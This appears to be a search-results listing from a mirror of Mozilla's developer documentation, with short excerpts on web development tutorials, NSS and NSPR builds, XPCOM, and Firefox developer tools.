... to check python is installed, enter the following command: python -v # or you might have the py command available, # in which case try py -v this should return a version number.
... if this is ok, navigate to the directory that your example is inside, using the cd command.
...And 2 more matches
Client-side form validation - Learn web development
specifying the email type, for example, validates the inputs value against a well-formed email address pattern or a pattern matching a comma-separated list of email addresses if it has the multiple attribute.
...you can find full details of all the available properties in the validitystate reference page; below is listed a few of the more common ones: patternmismatch: returns true if the value does not match the specified pattern, and false if it does match.
... customizing these error messages is one of the most common use cases of the constraint validation api.
...And 2 more matches
UI pseudo-classes - Learn web development
t having generated content put on them (this is because generated content is placed relative to an element's formatting box, but form inputs work more like replaced elements and therefore don't have one), we will add an empty <span> to hang the generated content on: <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> the immediate problem with this was that the span was dropping onto a new line below the input because the input and label are both set with width: 100%.
...the issue is really one of semantics — out-of-range is a more specific type of invalid communication, so you might want to provide a different message for out-of-range inputs, which will be more helpful to users than just saying "invalid".
...a classic example is a shipping form — commonly you'll get asked if you want to use the same address for billing and shipping; if so, you can just send a single address to the server, and might as well just disable the billing address fields.
...And 2 more matches
The web and web standards - Learn web development
brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet.
...ok, that's a very simple summary of what happened, but i did promise you a brief summary.
...as a part of the web community, you'll have an entire web of contacts and useful material to help you, and you'll start to enjoy the creative possibilities it brings.
...And 2 more matches
Tips for authoring fast-loading HTML pages - Learn web development
these tips are based on common knowledge and experimentation.
... reducing page weight through the elimination of unnecessary whitespace and comments, commonly known as minimization, and by moving inline script and css into external files, can improve download performance with minimal need for other changes in the page structure.
...first, browsers will have no need to perform error-correction when parsing the html (this is aside from the philosophical issue of whether to allow format variation in user input and then programmatically "correct" or normalize it; or whether, instead, to enforce a strict, no-tolerance input format).
...And 2 more matches
Creating hyperlinks - Learn web development
this is one common way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up.
... in its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient.
...the most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email).
...And 2 more matches
Images in HTML - Learn web development
so for example, if your image is called dinosaur.jpg, and it sits in the same directory as your html page, you could embed the image like so: <img src="dinosaur.jpg"> if the image was in an images subdirectory, which was inside the same directory as the html page (which google recommends for seo/indexing purposes), then you'd embed it like this: <img src="images/dinosaur.jpg"> and so on.
...this is especially common on mobile phones, and in countries where bandwidth is limited or expensive.
...in our example, we could do this: <img src="images/dinosaur.jpg" alt="the head and torso of a dinosaur skeleton; it has a large head with long sharp teeth" width="400" height="341" title="a t-rex on display in the manchester university museum"> this gives us a tooltip on mouse hover, just like link titles: however, this is not recommended — title has a number of accessibility problems, mainly based around the fact that screen reader support is very unpredictable and most browsers won't show it unless you are hovering with a mouse (so e.g.
...And 2 more matches
JavaScript — Dynamic client-side scripting - Learn web development
javascript is a programming language that allows you to implement complex things on web pages.
...start by working through the following modules: getting started with the web introduction to html introduction to css having previous experience with other programming languages might also help.
... javascript building blocks in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events.
...And 2 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
...enter the following terminal command to do so: ember generate component-class footer next, go and find the newly-created todomvc/app/components/footer.js file and update it to the following: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go back to our todo-da...
...the "todos left" indicator always says "x todos left", even when there is only one todo left, which is bad grammar!
...And 2 more matches
Ember app structure and componentization - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... using the cli to create our components for us so to represent our app, we want to create 4 components: header list individual todo footer to create a component, we use the ember generate component command, followed by the name of the component.
... enter the following command into your terminal: ember generate component header these will generate some new files, as shown in the resulting terminal output: installing component create app/components/header.hbs skip app/components/header.js tip to add a class, run `ember generate component-class header` installing component-test create tests/integration/components/header-test.js header.hbs is the template file where we’ll include the html structure for just that component.
...And 2 more matches
Framework main features - Learn web development
while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks.
...it's also excessive: home and article don’t actually make use of the author's portrait or byline, but if we want to get that information into the authorcredit, we will need to change home and author to accommodate it.
... the glimmer vm is unique to ember.
...And 2 more matches
React interactivity: Events and state - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
...another common convention you may well come across in react code is to prefix callback prop names with the word on, followed by the name of the event that will cause them to be run.
...making unique identifiers is a hard problem – one for which the javascript community has written some helpful libraries.
...And 2 more matches
Mozilla's Section 508 Compliance
applications also shall not disrupt or disable activated features of any operating system that are identified as accessibility features where the application programming interface for those accessibility features has been documented by the manufacturer of the operating system and is available to the product developer.
...the focus shall be programmatically exposed so that assistive technology can track focus and focus changes.
...we expose focus programmatically via msaa (windows) and atk (linux/unix).
...And 2 more matches
Software accessibility: Where are we today?
in answer to this problem, many small accessibility hardware and software vendors created products and software which helped people who could not perform one of the four basic tasks to use common computer applications.
...alternative ways to command the computer and enter data another problem is how people with disabilities get information into the computer.
...however, any special features are generally handled in the keyboard itself, so that no special programming is required.
...And 2 more matches
Adding a new CSS property
this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/".
... (which set the property is in is given in the specification, which says "inherited: yes" or "inherited: no" in the property's definition.) also note that some of the style structs intentionally contain only properties set/reset by a particular common shorthand property; this improves the effectiveness of some of the performance and memory optimizations done with the rule tree, and thus we should avoid adding a property not reset by that shorthand to such a struct.
... if the property's values can be expressed as a single value, or as a space-separated or comma-separated list of values that can be described by the variant_* flags (also in nscssprops.h), you should use css_property_parse_value or css_property_parse_value_list, and set the appropriate variant_* flags in the entry in nscssproplist.h (and maybe also css_property_value_list_uses_commas).
...And 2 more matches
Updating NSPR or NSS in mozilla-central
(because some developers might not be aware that nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla...
... 17 (without the change from bug 782784), you must manually add a dummy change (add or remove a blank line) to force a rebuild of nspr: mozilla/nsprpub/config/prdepend.h or nss: mozilla/security/nss/coreconf/coreconf.dep check directory mozilla/nsprpub/patches/ for patches that need to be applied to nspr, and directory mozilla/security/patches/ for patches that need to be applied to nss.
... moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am_path_nss(3.16.1, [moz_native_nss=1], [ac_msg_error([you don't have nss installed or your version is too old])]) fi commit the update: $ hg commit -a in order to eliminate any problems related to how nss and nspr are built differently in firefox than they are standalone, you should push your commit to try first.
...And 2 more matches
Obsolete Build Caveats and Tips
this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows.
... edit vcvars32.bat to correct the problem (see http://blogs.msdn.com/windowssdk/arc...vironment.aspx "workaround: repair the vs2008 command line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually").
...alternatively you can install the command-line compiler as part of the windows 7 sdk, but you are then expected to use the included windbg debugger.
...And 2 more matches
Limitations of chrome scripts
however, this "dummy" object is completely static and only exposes a few of the normal properties that windows and documents have.
... to make the shim unnecessary: factor the code that needs to access content into a separate script, load that script into the content process as a frame script, and communicate between the chrome script and the frame script using the message-passing apis.
... a common pattern here is to use the notificationcallbacks property of the nsihttpchannel to get the dom window that initiated the load, like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcallbacks.getinterface(ci.nsidomwindow); } } or this: obser...
...And 2 more matches
mozbrowserselectionstatechanged
commands an object that stores information about what commands can be executed on the current selection.
... its properties are: canselectall: a boolean indicating whether the select all command can be issued (true) or not (false).
... cancut: a boolean indicating whether the cut command can be issued (true) or not (false).
...And 2 more matches
Gecko Keypress Event
charcode of dom keypress event if a keypress event is fired without any modifier keys (ctrl/alt(option)/meta(win/command)), then the properties of the event are the same as they were in gecko1.8.1.
...command) is the accel key on mac.
... mac the charcode is replaced when meta (command) or ctrl is down.
...And 2 more matches
HTTP Cache
this document only contains what cannot be found or may not be clear directly from the idl files comments.
...ll operate over all existing app caches the service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in background purgefrommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
...immediately); there is currently no way to opt out of this feature (watch bug 938186).
...And 2 more matches
CustomizableUI.jsm
this is roughly equivalent to fetching the currentset attribute and splitting by commas in the legacy apis.
...this can only be called immediately after reset().
... customizableui.createwidget({ id: 'id_of_my_widget_within_customizableui_and_dom', defaultarea: customizableui.area_navbar, label: 'my widget', // type: 'button', //we don't need to type this, the default type is button tooltiptext: 'this is my widget created with cui.jsm', oncommand: function(aevent) { var thisdomwindow = aevent.target.ownerdocument.defaultview; //this is the browser (xul) window var thiswindowsselectedtabswindow = thisdomwindow.gbrowser.selectedtab.linkedbrowser.contentwindow; //this is the html window of the currently selected tab thiswindowsselectedtabswindow.alert('alert from html window of selected tab'); thisdomwindow...
...And 2 more matches
Log.jsm
// use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
...expect these to be immediately visible on a status console.
...expect these to be immediately visible on a status console.
...And 2 more matches
Localization technical reviews
technical review evaluation criteria in principal, a technical review's criteria looks for localization issues common to localizing software but within the mozilla context.
...leading comments are ok, but watch out for #filter emptylines #define ...
... # comment #define ...
...And 2 more matches
MathML Torture Test
/math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> ...
... </msup> <msup> <mi>y</mi> <mn>۲</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </mmultiscripts> </mrow> </math> </td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> ...
... --> <mrow> <mmultiscripts> <mi>f</mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </mmultiscripts> </mrow> </math> </td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>۲</mn></msub> <msub><mi>f</mi><mn>۳</mn></msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>۳</mn><none/> <mprescripts/> <mn>۲</mn><none/> </mmultiscripts> </mrow> </math> </td> </tr> <tr> <td>3</td> <td> <math dir="rtl" display="block"> <mrow> <mfrac> <mrow> <mi>&#x1ee...
...And 2 more matches
Using the viewport meta tag to control layout on mobile browsers
for example, safari's documentation says the content is a "comma-delimited list," but existing browsers and web pages use any mix of commas, semicolons, and spaces as separators.
...it is recommended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel.
... it is recommended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length.
...And 2 more matches
A brief guide to Mozilla preferences
preference changes via user interface usually take effect immediately.
...they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/common/services-common.js - preferences for some shared services code, this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel.
... preferences saving usually when the user specifically commits a preference change via user interface such as the preferences dialog, the application saves the change by overwriting prefs.js .
...And 2 more matches
Profile Manager
these cause firefox to be launched with various command-line arguments.
... see command line options for a description of these.
... launch option command line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode start firefox with a console -console start new instance -no-remote note: it isn't possible to start a second instance of firefox without passing it the -no-remote command line argument.
...And 2 more matches
NSPR's Position On Abrupt Thread Termination
i resist including this function in nspr because it results in bad programming practice and unsupportable programs.
...in that environment, exit() may be called and any time, and results in the calling thread's immediate termination.
...in the general course of events when programming with threads, it is very advantageous for a thread to have resources that it and only it knows about.
...And 2 more matches
Nonblocking IO In NSPR
the blocking io model encourages the use of multiple threads as a programming model.
...an io function on a nonblocking file descriptor either succeeds immediately or fails immediately with <tt>pr_would_block_error</tt>.
...one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonblocking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); programming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr.
...And 2 more matches
Optimizing Applications For NSPR
the implementation has dependencies on libraries that are implemented in the netscape communicator.
...one can only determine the immediate setting of daylight savings time, not what it would be at some arbitrary time in the past or the future.
...this has disastrous implications on the generally accepted programming practice of taking the address of a stack variable and giving that address to another thread.
...And 2 more matches
Building NSS
this is recommended, as the build is faster and more reliable.
...to check out the latest sources for nss and nspr--which may not be part of a stable release--use the following commands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases.
...this is recommended.
...And 2 more matches
NSS Developer Tutorial
curly braces: both of the following styles are allowed: if (condition) { action1(); } else { action2(); } or: if (condition) { action1(); } else { action2(); } the former style is more common.
... when a block of code consists of a single statement, nss doesn’t require curly braces, so both of these examples are fine: if (condition) { action(); } or: if (condition) action(); although the use of curly braces is more common.
... multiple-line comments should be formatted as follows: /* * line1 * line2 */ or /* ** line 1 ** line 2 */ the following styles are also common, because they conserve vertical space: /* line1 * line2 */ or /* line1 ** line2 */ or /* line1 * line2 */ naming public functions are named foo_dooneaction.
...And 2 more matches
nss tech note7
pk11symkey: a symmetric key (often called a session key), defined in "secmodt.h".
...at present 1024 bit and 2048 bit rsa keys are the most common and recommended.
...use pk11_referencesymkey() to acquire a reference to a symmetric key (pk11symkey *).
...And 2 more matches
NSS Tools sslstrength
sslstrength summary a simple command-line client which connects to an ssl-server, and reports back the encryption cipher and strength used.
...the letter in the first column of the output is used to identify the cipher preferences in the ciphers= command.
...this restricts the available ciphers to the same set used by communicator.
...And 2 more matches
PKCS11 Implement
implementing pkcs #11 for nss note: this document was originally for the netscape security library that came with netscape communicator 4.0.
...summarizes the support nss expects from different kinds of tokens.
... table 1.2 summarizes the pkcs #11 functions (in addition to the other functions described in this document) that nss expects each type of token to support.
...And 2 more matches
NSS functions
ssl functions the public functions listed here are used to configure sockets for communication via the ssl and tls protocols.
... other sources of information: the nss_reference documents the functions most commonly used by applications to support ssl.
...r cert_getcertnicknames mxr 3.2 and later cert_getcerttrust mxr 3.2 and later cert_getcertuid mxr 3.2 and later cert_getclassicocspdisabledpolicy mxr 3.12 and later cert_getclassicocspenabledhardfailurepolicy mxr 3.12 and later cert_getclassicocspenabledsoftfailurepolicy mxr 3.12 and later cert_getcommonname mxr 3.2 and later cert_getcountryname mxr 3.2 and later cert_getdbcontentversion mxr 3.2 and later cert_getdefaultcertdb mxr 3.2 and later cert_getdomaincomponentname mxr 3.2 and later cert_getfirstemailaddress mxr 3.7 and later cert_getlocalityname mxr 3.2 and later cert_getnextemailadd...
...And 2 more matches
NSS tools : cmsutil
synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 2 more matches
sslcrt.html
upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with communicator.
... cert_verifycertname compares the common name specified in the subject dn for a certificate with a specified hostname.
... returns the function returns one of these values: if the common name in the subject dn for the certificate matches the domain name passed in the hostname parameter, secsuccess.
...And 2 more matches
NSS Tools cmsutil
using cmsutil newsgroup: mozilla.dev.tech.crypto the cmsutil command-line utility uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... syntax to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 2 more matches
NSS Tools sslstrength
sslstrength summary a simple command-line client which connects to an ssl-server, and reports back the encryption cipher and strength used.
...the letter in the first column of the output is used to identify the cipher preferences in the ciphers= command.
...this restricts the available ciphers to the same set used by communicator.
...And 2 more matches
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 2 more matches
JIT Optimization Strategies
the most commonplace operations that are relevant for fast program execution are property accesses and function calls.
...it provides information on what they attempt to do, what general level of speed-up they provide, what kind of program characteristics can prevent them from being used, and common ways to enable the engine to utilize that optimization.
... getprop_commongetter optimizes access to properties which are implemented by a getter function, where the getter is shared between multiple types.
...And 2 more matches
Parser API
visit estree spec for a community ast standard that includes latest ecmascript features and is backward-compatible with spidermonkey format.
... interface sequenceexpression <: expression { type: "sequenceexpression"; expressions: [ expression ]; } a sequence expression, i.e., a comma-separated sequence of expressions.
... interface xmlcomment <: xml { type: "xmlcomment"; contents: string; } an xml comment.
...And 2 more matches
Thread Sanitizer
you can check which version of clang you have by running the command: clang -v if you are not building from mozilla-central and are building firefox 39 or earlier, you must use clang 3.3.
... we recommend using clang 3.6 or later.
...# if it's not already in your $path, then uncomment this next line: #export llvm_symbolizer="/path/to/llvm-symbolizer" # add tsan to our compiler flags export cflags="-fsanitize=thread -fpic -pie" export cxxflags="-fsanitize=thread -fpic -pie" # additionally, we need the tsan flag during linking.
...And 2 more matches
Handling Mozilla Security Bugs
in particular, we understand and acknowledge the concerns of those who believe that all information about security vulnerabilities should be publicly disclosed as soon as it is known, so that users may take immediate steps to protect themselves and so that problems can get the maximum amount of developer attention and be fixed as soon as possible.
... when a bug is put into the security bug group, the group members, bug reporter, and others associated with the bug will decide by consensus, either through comments on the bug or the group mailing list, whether an immediate warning to users is appropriate and how it should be worded.
... to establish, for each bug, the amount of information a distributor can reveal immediately (before a fix is available) without putting other distributors and their customers at risk.
...And 2 more matches
Gecko states
state_invisible the object is programmatically hidden.
... for example, menu itmes are programmatically hidden until a user activates the menu.
... because objects with this state are not available to users, client applications should not communicate information about the object to users.
...And 2 more matches
How to build an XPCOM component in JavaScript
execute this command to compile the typelib.
...depth = @depth@ topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk # module specifies where header files from this makefile are installed # use dom if your component implements a dom api module = dom # name of the typelib xpidl_module = dom_apps # set to 1 if the module should be part of the gecko runtime common to all applications gre_module = 1 # the idl sources xpidlsrcs = \ helloworld.idl \ $(null) include $(topsrcdir)/config/rules.mk xpidl_flags += \ -i$(topsrcdir)/dom/interfaces/base \ -i$(topsrcdir)/dom/interfaces/events \ $(null) creating the component using xpcomutils in firefox 3 and later you can use import xpcomutils.jsm using components.utils.import to simplify the process of wr...
...mutils.jsm"); then implement your interface the same way you did above, except with a few modifications so that xpcomutils can set it up properly: /*********************************************************** class definition ***********************************************************/ //class constructor function helloworld() { // if you only need to access your component from javascript, uncomment the following line: //this.wrappedjsobject = this; } // class definition helloworld.prototype = { // properties required for xpcom registration: classdescription: "my hello world javascript xpcom component", classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@dietrich.ganx4.com/helloworld;1", // [optional] custom factory (an object implem...
...And 2 more matches
Using XPCOM Utilities to Make Things Easier
the four required parts[other-parts] of the structure contain the following information: a human readable class name the class id (cid) the contract id (an optional but recommended argument) a constructor for the given object static const nsmodulecomponentinfo components[] = { { "pretty class name", cid, contract_id, constructor }, // ...
... common implementation macros every xpcom object implements nsisupports, but writing this implementation over and over is tedious.
... ns_impl_isupports1(classname, interface1) also, if you implement more than one interface, you can simply change the 1 in the macro to the number of interfaces you support and list the interfaces, separated by commas.
...And 2 more matches
mozIThirdPartyUtil
obtain the bottommost nsidomwindow, and its same-type parent if it exists, from the channel's notification callbacks.
... then: if the parent is the same as the bottommost window, and the channel has the load_document_uri flag set, return false.
...(we have already checked that auri is not foreign with respect to the channel uri.) otherwise, return the result of isthirdpartywindow() with arguments of the channel's bottommost window and the channel uri, respectively.
...And 2 more matches
nsIDOMXULElement
66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute.
...returns an nsicontrollers object that additional controllers may be appended to so as to provide focus-specific actions for commands.
...click() unless the element is disabled, sends mouse events that simulate the effect of clicking the mouse on the element, then calls the docommand() method.
...And 2 more matches
nsIMacDockSupport
method summary void activateapplication(in boolean aignoreotherapplications); attributes attribute type description badgetext astring text to display in a badge on the application's dock icon.
...teelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menupopup'); macmenu.setattribute('id', 'mymacmenu'); var macmenuitem = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('command', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) macmenu.appendchild(macmenuitem); var mainpopupset = win.document.getelementbyid('mainpopupset'); mainpopupset.appendchild(macmenu); let dockmenuelement = macmenu; //document.getelementbyid("m...
...therefore, if you would like to add or remove items to the menu it is recommended to manipulate the default menu item which is on the hidden window of firefox.
...And 2 more matches
nsIPluginHost
dom/plugins/base/nsipluginhost.idlscriptable please add a summary to this article.
... void instantiatedummyjavaplugin(in nsiplugininstanceowner aowner); native code only!
... native code only!instantiatedummyjavaplugin instantiate a "dummy" java plugin if a java plugin that supports npruntime is installed.
...And 2 more matches
nsITreeView
for example: getrowproperties: function(index) { return "dummy"; } obsolete since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature is obsolete.
...to add properties for a particular row, you must use the nsiatomservice to create an nsiatom string, which can then be appended to the array to alter the style (see also styling a tree) getrowproperties: function(index, properties) { var atomservice = components.classes["@mozilla.org/atom-service;1"].getservice(components.interfaces.nsiatomservice); var atom = atomservice.getatom("dummy"); properties.appendelement(atom); } hasnextsibling() used to determine if the row at rowindex has a nextsibling that occurs after the index specified by afterindex.
... performaction() a command api that can be used to invoke commands on the selection.
...And 2 more matches
XPCOM Interface Reference
serhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlinehandlernsicommandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectnsicontentframemessagemanagernsicontentprefnsicontentprefcallback2nsicontent...
...mfilelistnsidomfilereadernsidomfontfacensidomfontfacelistnsidomgeogeolocationnsidomgeopositionnsidomgeopositionaddressnsidomgeopositioncallbacknsidomgeopositioncoordsnsidomgeopositionerrornsidomgeopositionerrorcallbacknsidomgeopositionoptionsnsidomglobalpropertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsidommousescrolleventnsidommoznetworkstatsnsidommoznetworkstatsdatansidommoznetworkstatsmanagernsidommoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsidomserializernsidomsimplegestureeventnsidomstoragensidomstorage2nsidomstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsi...
...cryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginmetainfonsimimeinputstreamnsimacdocksupportnsimarkupdocumentviewernsimemorynsimemorymultireporternsimemorymultireportercallbacknsimemoryreporternsimemoryreportermanagernsimenuboxobjectnsimessagebroadcasternsimessagelistenernsimessagelistenermanagernsimessagesendernsimessagewakeupservicensimessengernsimicrosummarynsimicrosummarygeneratornsimicrosummaryobservernsimicrosummaryservicensimicrosummarysetnsimimeconverternsimimeheadersnsimodulensimsgaccountnsimsgaccountmanagerextensionnsimsgcompfieldsnsimsgcustomcolumnhandlernsimsgdbhdrnsimsgdbviewnsimsgdbviewcommandupdaternsimsgdatabasensimsgfilternsimsgfiltercustomactionnsimsgfilterlistnsimsgfoldernsimsgheaderparsernsimsgidentitynsimsgincomingservernsimsgmes...
...And 2 more matches
Troubleshooting XPCOM components registration
there are several common reasons that registration can fail: a component that is a binary (shared library) fails to load a javascript component has parsing errors the shared library loaded correctly, but registration was not successful did registration succeed?
...if the error appears, you can use nspr logging to see additional information about the failure by running firefox from a command prompt: rem close all firefox windows!
...see xpcom changes in gecko 2.0 parsing errors in javascript components the most common reason for components written in javascript to fail is that there are parsing errors.
...And 2 more matches
Finding the code for a feature
i keep two prominent links to this on my firefox toolbar, one to comm-central string search, and one to comm-central file search.
...i know there is a menu command "tag" to tag the message - how does it do it?
... using dom inspector, i find the tag menu item, and i see that it uses command "cmd_tag".
...And 2 more matches
Working with windows in chrome code
there also is a window object for each sub-document, although there's no window in a common sense for the sub-document.
...tprogress(window.arguments[0].progress); setstatus(window.arguments[0].status); } } function setprogress(value) { gprogressmeter.value = 100 * value / maxprogress; } function setstatus(text) { gstatus.value = "status: " + text + "..."; } ]]></script> <label id="status" value="(no status)" /> <hbox> <progressmeter id="progressmeter" mode="determined" /> <button label="cancel" oncommand="close();" /> </hbox> </window> example 2: interacting with the opener sometimes an opened window needs to interact with its opener; for example, it might do so in order to give notice that the user has made changes in the window.
... if we're sure the window that opened the progress dialog declares the canceloperation function, we can use window.opener.canceloperation() to notify it, like this: <button label="cancel" oncommand="opener.canceloperation(); close();" /> using a callback function.
...And 2 more matches
Intensive JavaScript - Firefox Developer Tools
the bottom half, which is correlated with the timeline summary in time, shows frame rate.
...here's the code, together with its immediate caller: const iterations = 50; const multiplier = 1000000000; function calculateprimes(iterations, multiplier) { var primes = []; for (var i = 0; i < iterations; i++) { var candidate = i * (multiplier * math.random()); var isprime = true; for (var c = 2; c <= math.sqrt(candidate); ++c) { if (candidate % c === 0) { // not prime isprime = false; ...
...the main thread and the worker thread can't call each other directly, but communicate using an asynchronous messaging api.
...And 2 more matches
Style Editor - Firefox Developer Tools
any changes you make are immediately applied to the page.
... actually instruct the preprocessor to generate a source map, for example by passing the --source-map argument to the lass command-line tool, but in some preprocessors like sass, source maps are generated by default and you don't need to do anything.
... editing original sources you can also edit the original sources in the style editor and see the results applied to the page immediately.
...And 2 more matches
Tips - Firefox Developer Tools
via web console command: screenshot <filename.png> --fullpage.
... right-click a node and click "use in console" to command line as tempn variable.
... web console in all panels: esc opens the split console; useful when debugging, or inspecting nodes in the command line: $0 references the currently selected node.
...And 2 more matches
Console messages - Firefox Developer Tools
summary the http version, response code, and time taken to complete.
... synchronous and asynchronous reflows if a change is made that invalidates the current layout — for example, the browser window is resized or some javascript modifies an element's css — the layout is not recalculated immediately.
...for example, code like this will cause an immediate, synchronous, reflow, when it calls window.getcomputedstyle(thing).height: var thing = document.getelementbyid("the-thing"); thing.style.display = "inline-block"; var thingheight = window.getcomputedstyle(thing).height; because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the dom, because every time you read back a style tha...
...And 2 more matches
